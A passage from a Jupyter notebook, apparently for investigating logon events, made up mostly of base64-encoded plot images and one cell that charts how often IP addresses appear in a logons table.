T5QFXd6Au9R8igve3a7xy2WgsIScm7kP4DWCCFE5STRFADk5+cTGBjInj17aNSoEaNHjyYhIYEWLVowc+ZMjh8/XmlZb29vVqxYgZWVFZGRkcyfP5+wsDAKCwtZtmwZ69ev11s3ffv27SxatAhjY+NK6/zll1+YNWsW6enp6raMjAz8/f1JTEzE2toaoNJz3K6ic6amprJjxw6io6PJzc1l5MiR9O7dm8LCQhYvXsy2bdswMTFh1KhR9OnTh/bt21elKwF4Z/4+Mq/K/+TFwxOzyIXa+0IUIcTjQobOBVC6fKZOpyM/P5+SkhJKSkowNTUlMjISd3d3unXrVmG5oqIipk2bhpWVFVC6tvrFixeB0lWAdDod3t7e6vE5OTnExsaqL12vzObNm/H399dbbjImJoZ+/frh6OiobqvoHLer7Jzx8fH0798fU1NTmjZtSu/evTl8+DAJCQlYW1vTuHFjGjRowMCBA9mzZ88d2yuEEEKI8uSOpgDAzMyMadOm4ejoSP369enVqxc9evTgxRdfBODrr7+usJyJiQkuLi5A6drzy5cv57XXXgPA1tYWW1tbtm3bph7fsGFDli1bpq4GVJnAwMBy29zd3QHUVZIqO8ftKjtnZmam3jKi5ubmXLp0CY1Gg7m5ubrdwsKC1NTUO7ZXiNqotk8XqO3tq466EktdiQMkltpCEk0BlK4DvnXrVg4dOkTDhg35+OOPWb16tZrc3U1RUREzZsygpKQEDw+PGm7t/aHT6cptMzAwQKvV6i3ZqSjKPa0VL8TDVptXE6ntq51UR12Jpa7EARLLgyQrA4kqOXLkCDY2NjRt2hQTExPc3NxISkqqUtm8vDzc3d0pKSkhLCzsjnMva5MWLVqQlZWlfs7KysLCwqLS7UIIIYSoHkk0BQBWVlYkJCRw8+ZNFEXh4MGDesPKd+Lt7U3r1q1ZsmQJJiYmNdzS+8fOzo59+/aRn59PdnY2P/zwAzY2NvTt25fExESys7PJz89n37592NnZPezmCiGEEI8cGToXQOlcx+PHj+Pm5oaxsTFdunRh0qRJlR7v5+eHg4MDLVu2JDY2lvbt2+Pq6gqUzmlctWpVtc6fkZHBpEmTiI6O/ltxlImNjeXgwYMVzvUs07VrV4YOHcqwYcMoKSnB09OT5s2bA+Dl5cVbb71FcXExw4YNo2vXrtU6/+pZA/5W+4X4uwoKSx52E4QQAo2iKMrDboQQdc2VK7nodI/2V6u2zwuqDoml9qkrcUDdiaWuxAESy4MkczSFEEIIIcRDIYmmEEIIIYSoEZJoCiGEEEKIGiGJphBCCCGEqBGSaAohhBBCiBpx19cb+fr6kpSUhJeXF0OGDAFg2bJlALz//vt3PcHx48cZMWIEaWlp5fYVFRXh6+vLH3/8gYGBAdOnT6dv377ljnNwcOA///kPSUlJJCUlsXDhwrue906WLFmCoaGh2v7ffvuNKVOmYGlpyZo1a/Dz8yMtLY169eoREhJCu3btUBSF4OBgDh06hIGBAfPmzVOXZ6wKX19fUlJSqF+/PgBTp06lf//+7N+/n6VLl6LT6ejSpQsBAQFVfhdlUVERwcHBHDt2jOLiYnx9fbG1tb1rOR8fH6ytrXFzcwMgLi6OWbNm0bt3bxYtWqQel5mZia+vL5cvX8bAwAAfHx9sbGzu2BdfffUVmzdvRlEUPvroIwYMqPprfn7//Xf8/PzIy8ujZ8+ezJ07FyMjIy5cuIC3tzdXrlyhbdu2hISE8MQTT1RYx/fff094eLi6ZObNmzfx9/fnt99+o169ekydOhUHB4c7tvXgwYMsX76c/Px8XnrpJWbNmlXlGMrc6Qm8R8mjvOzZ7SSW2qWoWPuwmyCEeADummhGRUWRmpp6Ty/izs/PZ968eRQXF1e4Pzo6Gp1OR0xMDCdPnmTixInEx8dX+zxVlZOTQ1BQEN9++63e0oqHDh1i6NChfPjhh6xevZr69euze/dukpOT8fX1ZfPmzezdu5dTp06xa9cuzp49i4eHB7t27cLIqGqvIk1LS2PdunV6K8zcvHmTgIAAoqKiaNasGV5eXkRFRTFy5Mgq1fnll19y9epVoqKi+O9//8uECROIj4+vdLnEjIwM/P39SUxMxNraWt2+Z88epk6dWu68wcHBODg4MGbMGE6fPs3YsWOJj49n//79FfbF8ePH2bFjB9HR0eTm5jJy5Eh69+5N48aNqxSPt7c38+fPp3v37sycOZPNmzfz5ptvMnfuXN58802cnJwIDQ1lxYoVeHt765XV6XRERETwxRdf8Nxzz6nbv/jiC4yMjNi5cyfXr19n1KhRdO7cmYyMjArbmpOTg7+/P1u2bKFp06aMGzeOuLg47O3tqxRDmXfm7yPzan61ygjxOIlZ5PKwmyCEeADumCVNnjwZRVEYPnw4Tk5OREZG8tRTT9GoUSP1Bdbx8fEsXbqUkpIS/vGPfzBv3jyeeuopABYuXMi4ceP48ccf1To3bNhAZmYm06ZNQ6fTkZ+fj1arJT8/n3r16gFw7do1vL29uXTpEu3ataOwsFAtf/bsWcaMGcP169d55ZVX+Oijj9BoNCxevJjExESuX7+OhYUFixcvplmzZuqLxfv160dsbCxt2rTh7bffVuuLi4tjw4YNAJiYmHD06FGmTZsGQK9evcjOzubChQvExcUxePBgDAwMaNu2LS1btuSnn37imWee0XvReHh4OLt370ar1WJra4u3tzcFBQVcuHCBmTNnkpGRQf/+/Zk6dSoNGjTg4MGDGBsbk5+fz5UrV2jUqBEAu3fvZs2aNRQUFFBUVMSCBQvo0aOHXv/t3r2bTz/9FI1GQ4cOHVizZg2KonD9+nX8/Pw4ffo0JiYmzJgxAxsbG2JiYujXr59e4rdlyxZiY2NJTEzEwMCAkpIStf7+/furCWnr1q0pLCzk5s2blfbF0aNH6d+/P6amppiamtK7d28OHz7M66+/jouLC+Hh4TRv3rzCa1VYWEhBQQHdu3cHwM3NjaVLlzJ8+HCSk5MJDQ1Vt//rX//C29tbry9OnTrFqVOnmDdvHmvXrlXj+/3333nzzTcxMDDgqaeewsrKiu+++45Lly5V2Nbs7GwGDx5MixYtAFi8eDGmpqZ3/yYJIYQQopw7JporV66kY8eOzJ8/Hx8fH6KiotBoNIwcOZKuXbuSnZ3NokWL+M9//sOTTz7Jxo0bCQkJITAwkNjYWAoKChg0aJBenaNHj1Z/dnV1JSoqipdffpkbN27w2WefAbB06VKef/55Vq1aRXJyMrt371bLnD9/nujoaMzMzBg3bhyxsbF06NCB06dPs3HjRnWId8eOHUyYMEFvZZjXX38d+N/QP4C9vT2jRo0CSoezY2JiMDc3V/ebm5tz6dIlMjMz9e5Glm3v1auXmmTGx8eTlpZGZGQkGo0Gb29vduzYQY8ePbC2tsbf35+GDRvi4eFBZGQkI0aMwNjYmLi4OHx8fLCwsMDW1hadTsfGjRtZuXIlTZo0ITIykvDwcFauXKnXf2fPniU5OZmAgAC0Wi1eXl60b9+ezz//nGeeeYbQ0FBOnjzJ7NmzsbGxUe/ipqSkqHUMHz6clJQUevfurQ6llxk4cKD68+rVq+nUqRMNGzastC8yMzP1lq0s2w6ofXT27NkKr9ULL7xQrt8zMjK4evUqZmZm6p3jsu23/y516NCBwMBAjh49qhfD888/z549e7C1teXKlSv8+OOPdOrUqdK2Xrx4EWNjYyZPnszFixd55ZVX+OCDDxBC3H91YQpAmboSS12JAySW2qJK475JSUnY29ur8+IGDRqETqfjl19+4eLFi7z11ltA6fDlk08+SVZWFmFhYURERNyx3uXLl9O9e3c2bNhAeno648ePp3PnziQlJalzBXv16kWrVq3UMg4ODjRp0gQAR0dHkpKSeO2115g+fTpbtmzhzJkz/PzzzzzzzDPV7gwARVH0hp4VRcHAwACdTlfh9lslJiaSmpqqJmwFBQU8/fTTuLi4qHfkAMaOHcv27dsZMWIEUJrsHj16lM8++4w5c+awaNEiQkNDOXjwIGfOnCEpKancuQC0Wi2XLl1i/fr1nDx5End3d3XIPyQkBICOHTuyadOme+qLMhEREWzatIl169YBVNoXOp2uXNnb2926desKr1VFdWo0mnLXA6h0akBFPDw8CAoKwtXVlbZt22Jra4uxsXGlbdVqtRw7doy1a9fSoEED3n33XaKiosol4UKIv682r3ZSHbV95ZaqqitxgMTyIN1tZaAqJZpl/8NXCxkZUVRUhFarpUePHqxcuRKAwsJC8vLyiI2N5dq1a4wZM0Yt4+Liwvr16zEz+19jYmNjWbx4MRqNhrZt29KtWzdSU1PLnc/Q0FDv3GV0Oh1GRkakpaXx0UcfMX78eAYOHIiBgQH3urJm8+bNyczMVBPVy5cvY2FhQYsWLcjMzFSPK9t+K61Wy7hx49Sh+Rs3bmBoaMjJkydJT09X7xAqioKRkRHXrl0jLS1NfYDH2dkZLy8v8vLyGDZsGEOHDqVXr1507NiR9evXl2trs2bNcHJyQqPRYGVlRYsWLThz5gxGRkZ6ydipU6do27Zthcnq3QQHBxMXF8f69evV4eTK+qJFixZkZWWp27Oysmjbtq1efZVdq9vLltXZpEkTcnJy0Gq1GBoakpWVVa7f7yQnJwcvLy91OsekSZNwcHAgPz+/wrbevHkTGxsb9R8zr732mt4/HoQQQghRdVXKPGxsbDh06BA5OTkUFhayf/9+ALp168bPP//MmTNnAFixYgXBwcEMHz6cAwcOEB0drQ6Zlg1338rKyooDBw4AkJ2dTVpaGp06dcLGxkYtl5qayv/93/+pZeLi4rhx4waFhYXs2rWLvn37kpycTO/evRk9ejRt2rTh8OHDaLX39kSjvb29eu5jx45hamrK008/jZ2dHTExMWi1Ws6ePUt6erre0CuAtbU10dHR5OXlUVJSwpQpU9i7dy+KorBgwQKuX79OcXExmzZton///iiKgre3NxcuXABKH8rp0aMH6enpaDQaJk+eTJ8+fdi/f3+F8bz66qvs2rULgHPnznHx4kXatm1Lz549+fbbb4HSJHPixInVugtYJiIigqNHj7JhwwY1yQQq7Qs7Ozv27dtHfn4+2dnZ/PDDD9jY2OjVWdm1srS0xNTUVB3Wj46Oxs7ODmNjY3r27KnGuX37duzs7Kocw969e1m6dCkAJ06c4Pjx49jY2FTa1ldffZUjR45w48YNtFot3333HZ07d6523wkhhBCiinc0O3XqxLhx4xg2bBiNGjXi6aefBkrntS1YsIAPPvgAnU5H8+bN+fTTT+9Y160PcPj6+vLJJ5/g5OSEgYEBH374IW3atMHT05MZM2bg5OTEs88+qzd0/uyzzzJp0iRu3LjBkCFDsLW1pUOHDkydOhVnZ2cA/vnPf3L+/HkAvYeBqmLs2LHMnj0bJycnTExMCA4OBkqnC6SmpjJ06FAAAgMDqVevHhkZGerDQA4ODpw4cYIRI0ag1Wp5+eWXcXV1RaPRMGnSJEaPHk1JSQkDBgxQXxU1b948PDw80Gg0tG/fnrlz59KgQQM6deqEo6MjGo0GW1tbNQG7tf8+/vhjAgICcHJyAmD+/Pk0bNgQT09PZs2axdChQzEyMiI4OLjKiWZZ/Z6enoSGhmJmZsbYsWPV/eHh4ZX2RdeuXRk6dCjDhg2jpKQET09PmjdvDqA+DDR48OBKr1VISAizZs0iNzeXzp07q1My/P39mTFjBmFhYbRs2VKdy3trX1RmxIgReHt74+zsjJGREUuWLMHMzKzStjZv3hx3d3fefPNNiouLeemll3jjjTeq1He3Wj2r6q91EuJxJK83EuLxoFHudYxZCFGpK1dy0eke7a9WbZ8XVB0SS+1TV+KAuhNLXYkDJJYH6W5zNGVlICGEEEIIUSMk0RRCCCGEEDVCEk0hhBBCCFEjJNEUQgghhBA1QhJNIYQQQghRI+Spc3HP/v3vf3P16lUWLlxIQkICQUFBFBYW4ujoiJeXl96xV65cYcKECernnJwcrl69yk8//URubi7+/v6cOnUKKH1d0u3vrszLy2PmzJmcPn0agMmTJ+Pk5IRWqyUgIICUlBQURWH48OGMHz8egJiYGMLCwigpKWHcuHF6CwjczsfHB2tra70Xs2/ZsoWUlBQWLlz4t/pJCCGEqC0KCkvIuZF/3+q7LysDCXG7xMREoqKieOWVVygoKGDmzJmsXbuWli1b4uHhQVxcHPb29urxTZs2VV+Er9PpGDdunJqMBgUF0bJlSxYtWkR8fDxz5sxhy5YteucLDw/n6aef5vPPP+fKlSu4uLjQp08fDh06xLVr19ixYwcFBQUMGzaMXr160axZMxYvXsy2bdswMTFh1KhR9OnTh/bt2+vVm5GRgb+/P4mJiVhbWwOlK1wtW7aM9evX6633Xh3vzN9H5tX790UWQggh7oeYRS48yJclSaIpqu3atWssXryYyZMnc+LECVJTU2ndurX6Yn1nZ2f27Nmjl2jeauvWrdSvXx9nZ2cURWHfvn3ExsYCpasOtWzZslyZ3r17q8tZNm3alMaNG3P58mU6dOhAt27dMDAwoEGDBrRq1YqLFy/yxx9/YG1tTePGjQEYOHAge/bsYerUqXr1xsTE0K9fP/U4KF29SKfT4e3tTWpq6t/tLiGEEOKxJYmmqLbZs2fj5eXFxYsXAcjMzMTc3Fzdb2FhQUZGRoVltVotK1euZMWKFUDpkLqJiQnffPMNhw4dwtTUlJkzZ5Yr99JLL6k/79q1i6KiItq3b4+R0f9+hX/88UdSU1MJDg5m48aN5dpUUdLo7u4OoK68BGBra4utrS3btm2rUn8IIYQQjxJz84YP7FySaIpq2bJlCy1btsTGxkZNxHQ6nd4Sl4qiVLrk5XfffUebNm3o2LEjUJp4Xr58mYYNG7Jp0ya+//57pkyZot7hvN3u3btZsGABX375pV6SmZycjJeXFyEhITz55JPVapMQQgjxOLmfKw3JHE1xX+3atYusrCxcXFy4fv06N2/e5K+//sLQ0FA9JisrCwsLiwrLHzhwgMGDB6ufn3rqKYyMjNS131966SVu3rzJlStXaNq0qV7ZtWvXsnr1alavXq0mqgD79u1jzpw5LF68mD59+gDQokULjh07VqU2CSGEEKJmyOuNRLWsWbOGnTt3Eh0djaenJw4ODnz55ZecOXOGs2fPotVq2blzJ3Z2dhWW//nnn+nZs6f62cTEhL59+/Ltt9+q++vXr89TTz2lV+7AgQNERESwYcMGvSQzNTWVOXPm8NVXX6lJJkDfvn1JTEwkOzub/Px89u3bV2mbhBBCCFEz5I6m+NtMTU1ZuHAh77//PoWFhdjb2zNo0CAA/Pz8cHBwoF+/fgCcO3eOFi1a6JUPDAxk9uzZfPPNNxgZGbF48WIMDAyIjY3l4MGDBAYGsnTpUgoLC5k8ebJabv78+YSFhaHVapk+fbq63dPTk379+uHl5cVbb71FcXExw4YNo2vXrgBMnDgRT09PunTpUmN9snrWgBqrWwghhLhXBYUlD/R88h5NIWrAlSu56HSP9lfL3LzhfZ3H8zBJLLVPXYkD6k4sdSUOkFgeJJmjKcRDYGBQNx48qitxgMRSG9WVOKDuxFJX4gCJ5UG5W9vkjqYQQgghhKgR8jCQEEIIIYSoEZJoCiGEEEKIGiGJphBCCCGEqBGSaAohhBBCiBohiaYQQgghhKgRkmgKIYQQQogaIYmmEEIIIYSoEZJoCiGEEEKIGiGJphBCCCGEqBGSaAohhBBCiBohiaYQ9ygmJobBgwczYMAA1q9fX27/77//jpubGwMHDsTPz4+SkpKH0Mq7W758OU5OTjg5OREcHFzh/ldffRUXFxdcXFwqjLW2GDt2LE5OTmpbf/nlF739j8I12bJli9p+FxcXXnzxRQICAvSOeRSuSW5uLkOGDOH8+fMAJCQk4OzszIABA1i8eHGFZS5cuMCYMWMYNGgQ7777Lnl5eQ+yyRW6PY5NmzYxZMgQnJ2d8fX1paioqFyZqKgobG1t1etTWbwP2u2x+Pr6MmDAALWd+/fvL1emNl4T0I8lLi5O7ztjbW2Nh4dHuTK17bpU9Lf3Uf2e3JEihKi2S5cuKa+++qpy9epVJS8vT3F2dlb+/PNPvWOcnJyUn376SVEURfH19VXWr1//EFp6Z99//70ycuRIpbCwUCkqKlLeeustZd++fXrHeHh4KD/++ONDamHV6XQ6xdbWVikuLq70mEfhmtzqjz/+UPr3769cuXJFb3ttvyY///yzMmTIEKVz587KuXPnlPz8fMXe3l75v//7P6W4uFiZMGGCcvjw4XLlJk2apOzcuVNRFEVZvny5Ehwc/KCbruf2OE6fPq30799fycnJUXQ6neLj46OsWbOmXLmAgAAlJibmwTf4Dm6PRVEUZciQIUpGRsYdy9W2a6IoFcdSJjMzU+nXr59y5syZcuVq03Wp6G9vTEzMI/k9uRu5oynEPUhISMDa2prGjRvToEEDBg4cyJ49e9T9f/31FwUFBXTv3h0ANzc3vf21hbm5OTNmzMDExARjY2PatWvHhQsX9I5JS0vjiy++wNnZmYCAAAoLCx9Sa+/s9OnTAEyYMIGhQ4eybt06vf2PyjW51Zw5c/Dy8qJJkyZ622v7Ndm8eTP+/v5YWFgAkJqaSuvWrWnVqhVGRkY4OzuX6/vi4mKSk5MZOHAgUDuuz+1xmJiY4O/vj5mZGRqNhueee67c9wXg119/JSoqCmdnZz7++GOuX7/+oJtezu2x5Ofnc+HCBWbOnImzszNLly5Fp9PplamN1wTKx3Kr4OBgRo0aRZs2bcrtq03XpaK/venp6Y/k9+RuJNEU4h5kZmZibm6ufrawsCAjI6PS/ebm5nr7a4sOHTqoiVd6ejq7d+/G3t5e3Z+Xl0enTp3w9vYmKiqKGzdusGLFiofU2ju7ceMGNjY2hIaGEhERwcaNG/n+++/V/Y/KNSmTkJBAQUEBjo6OetsfhWsSGBhIz5491c93+74AXL16FTMzM4yMjIDacX1uj8PS0pKXXnoJgOzsbNavX0+/fv3KlTM3N+e9995jx44dtGzZstzUh4fh9lguX76MtbU1CxYsYPPmzRw7dozIyEi9MrXxmkD5WMqkp6eTlJTEW2+9VWG52nRdKvrbq9FoHsnvyd1IoinEPdDpdGg0GvWzoih6n++2v7b5888/mTBhAj4+Pnp3Ap544glWrVpFu3btMDIyYsKECcTFxT28ht7BCy+8QHBwMA0bNqRJkyYMGzZMr62P2jXZuHEjb7/9drntj9I1KVOVvq9oW229PhkZGYwbN4433niDPn36lNsfGhrKiy++iEajwd3dne++++4htPLOWrVqRWhoKBYWFtSvX5+xY8eW+z16lK4JlM6fffPNNzExMalwf228Lrf+7W3VqlWd+p6UkURTiHvQokULsrKy1M9ZWVl6wzi37798+XKFwzy1QUpKCuPHj+ejjz7C1dVVb9+FCxf07nIoiqL+S7q2OXbsGImJiern29v6KF2ToqIikpOTcXBwKLfvUbomZe72fQFo0qQJOTk5aLXaSo+pDU6dOsWoUaNwdXVlypQp5fbn5OQQERGhflYUBUNDwwfYwqo5efIke/fuVT9X9Hv0qFyTMrGxsQwePLjCfbXxutz+t7cufU9uJYmmEPegb9++JCYmkp2dTX5+Pvv27cPOzk7db2lpiampKSkpKQBER0fr7a8tLl68yJQpUwgJCcHJyanc/nr16vHpp59y7tw5FEVh/fr19O/f/yG09O5ycnIIDg6msLCQ3NxcoqKi9Nr6qFwTKE0C2rRpQ4MGDcrte5SuSZlu3bpx5swZzp49i1arZefOneX63tjYmJ49e7Jr1y4Atm/fXuuuT25uLu+88w7Tpk1jwoQJFR7ToEEDvvzyS/WNB+vWrauV10dRFBYsWMD169cpLi5m06ZN5dr5KFyTMtnZ2RQUFNCqVasK99e261LR39668j0p54E/fiREHbFjxw7FyclJGTBggBIeHq4oiqK4u7srqampiqIoyu+//6688cYbysCBA5UPP/xQKSwsfJjNrdC8efOU7t27K0OHDlX/++abb/Ti2LNnjxrnjBkzamUcZRYvXqwMGjRIGTBggBIREaEoyqN3TRRFUb799lvlgw8+0Nv2KF6TV199VX0qOCEhQXF2dlYGDBigBAYGKjqdTlEURZk5c6Zy4MABRVEU5fz588q//vUvxdHRUZkwYYJy7dq1h9b2W5XFsWbNGqVz585635clS5YoiqIfR3JysvL6668rgwYNUiZPnqzcuHHjYTZfz63XZN26dYqjo6PSv39/5dNPP1WPeRSuiaLox/LLL78ow4cPL3dMbb0ulf3tfZS/J5XRKIqiPOxkVwghhBBC1D0ydC6EEEIIIWqEJJpCCCGEEKJGSKIphBBCCCFqhCSaQgghhBCiRkiiKYQQQgghaoQkmkIIIYQQokZIoimEEEIIIWrE/wPCEVOLM3WrDAAAAABJRU5ErkJggg==",
      "text/plain": [
       "<Figure size 576x576 with 1 Axes>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "# Plot up to the first 5 IP addresses\r\n",
    "plot_df = logons_df\r\n",
    "if len(plot_df) > 100:\r\n",
    "    plot_df = plot_df[:100]\r\n",
    "\r\n",
    "plot_df[\"IPAddress\"].value_counts().plot.barh(\r\n",
    "    title=\"IP prevelence\", legend=False, figsize=(8, 8)\r\n",
    ");"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 22,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "image/png": 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sNjp16pTtnC+99FJWEdazZ0+Sk5Np1aoVr7zyCiNHjgRg5syZ1KtXj5UrV9KvXz/i4+Ozjo+IiGDWrFksXbqUQ4cOERISQnh4OJcuXeK3335j/fr1lCtXjhUrVgAwadIk2rVrB8Dzzz/P4MGDMRgMWedr06YNffv2pW/fvrz55pvExsZSunTprNdLly5NdHQ0sbGxlClTJsf2wMDArAJx+/btnDhxgsWLF7N8+XJiYmJYsWIF8fHxPPnkk0yePJk//viDgwcPsnjxYgBMJhPbtm3jmWeeISkpiZYtW6IoCr/99hvffvstK1asYNCgQcydOzfH/QsPD+fAgQO8/PLLvPjii8THx6PX6/nqq6+oVKkSa9euZcqUKcyYMQOAQYMG0adPn2yfR58+fWjbti1Dhw6lT58+2c7fsWNHihUrBsAPP/xA3bp18fPzu+W9uNV2gODgYAIDA2/5Wd3svsfExJCUlISvry9GozHb9r/fi5o1azJp0qSsvDfUq1ePdevW4XK5iImJ4fDhw8THx98ya3h4OG63myFDhhAUFMSvv/6a45xCCPGgSEuiKPD2799PmzZt8PHxAaBTp04oisKxY8eIiopiwIABACiKQrFixYiLi2POnDn89NNPtz3v119/zaOPPsrChQsJCwvjn//8J/Xr12f//v1MmzYNyGzNq1ixYtYxbdu2pUSJEgB07tyZ/fv389xzz/Hee++xaNEiLl++zNGjR6lUqdI9vVdVVdHpdNm+1uv1KIpy0+1/tWfPHkJDQ+nVqxcANpuN8uXLExQUlNUSBtC/f3+WL1/OCy+8AGQWqvv27ePLL7/k448/Ztq0acyePZvNmzdz+fJl9u/fn+NaAG63m+joaBYsWMDZs2cZNGgQa9eu5cCBA1nFeu3atfn999/v6V7c8NNPP/H777/zyy+/ANzyXiiKkuPYv+euXLnyTT+rm51Tp9Pl+DyAHF/fzuuvv86nn35Kz549qVq1Ki1btsRkMt0yq9vt5uDBg/z88894e3vzn//8h2XLlmV9pkII8SBJkSgKvBs/rG8wGo04HA7cbjdNmjTJanG02+1kZGQQEhJCcnIy/fr1yzomKCiIBQsW4Ovrm7UtJCSE6dOno9PpqFq1Ko0bNyY0NDTH9f7a8nejRQkyixWj0ciJEycYMWIE//znP+nYsSN6vT7b8XcjMDCQ2NjYrCIzPj6eMmXKULZsWWJjY7P2u7H9r9xuNwMHDszqzk5NTcVgMHD27FnCwsLo2LEjkFkAGY1GkpOTOXHiBC1btgSge/fuDB8+nIyMDHr37k2PHj1o3rw5tWvXZsGCBTmylipViq5du6LT6ahTpw5ly5bl8uXLGI3GbIXUxYsXqVq16k0LzTuZMmUK27ZtY8GCBVldsLe6F2XLliUuLi5re1xcHFWrVs12vlt9Vn8/9sY5S5QoQVpaGm63G4PBQFxcXI77fjtpaWkMHz48awjE4MGDadu2LVar9aZZLRYLLVq0yPpF5LnnnstW+AshxIMk3c2iwGvRogVbtmwhLS0Nu92eNTO3cePGHD16lMuXLwPwzTffMGXKFPr06cOmTZsIDg7O6ooNDg7OViAC1KlTh02bNgGZXdcnTpygbt26tGjRIuu40NBQrly5knXMtm3bSE1NxW63s2bNGp566ikOHDjA448/zksvvUSVKlXYunUrbrf7nt5rmzZtsq598OBBPDw8KF++PK1bt2blypW43W7Cw8MJCwujYcOG2Y598sknCQ4OJiMjA5fLxRtvvMH69etRVZXJkyeTkpKC0+nk999/p3379qiqyqhRo4iMjARg3bp1NGnShLCwMHQ6HUOGDOGJJ55g48aNN30/zz77LGvWrAHg6tWrREVFUbVqVZo1a8bq1auBzALxtddeu6vWtxt++ukn9u3bx8KFC7MKROCW96J169Zs2LABq9VKYmIie/fupUWLFtnOeavPqkKFCnh4eGTNlA4ODqZ169aYTCaaNWuW9T6XL19O69atc/0e1q9fz8yZMwE4c+YMp06dokWLFrfM+uyzz7Jz505SU1Nxu93s2LGD+vXr3/W9E0KIvCAtiaLAq1u3LgMHDqR37974+/tTvnx5IHMc1+TJk3n77bdRFIXAwEC++OKL257rr5MNxowZwwcffEDXrl3R6/W88847VKlShaFDhzJ69Gi6du1KtWrVsnU3V6tWjcGDB5Oamkq3bt1o2bIlNWvW5M0336R79+4ANGjQgIiICIBsE1dyo3///nz44Yd07doVs9nMlClTgMwu9tDQUHr06AFkjnX09PQkJiYma+JK27ZtOXPmDC+88AJut5tWrVrRs2dPdDodgwcP5qWXXsLlctGhQwe6desGwIQJE3j99dfR6XTUqFGDTz75BG9vb+rWrUvnzp3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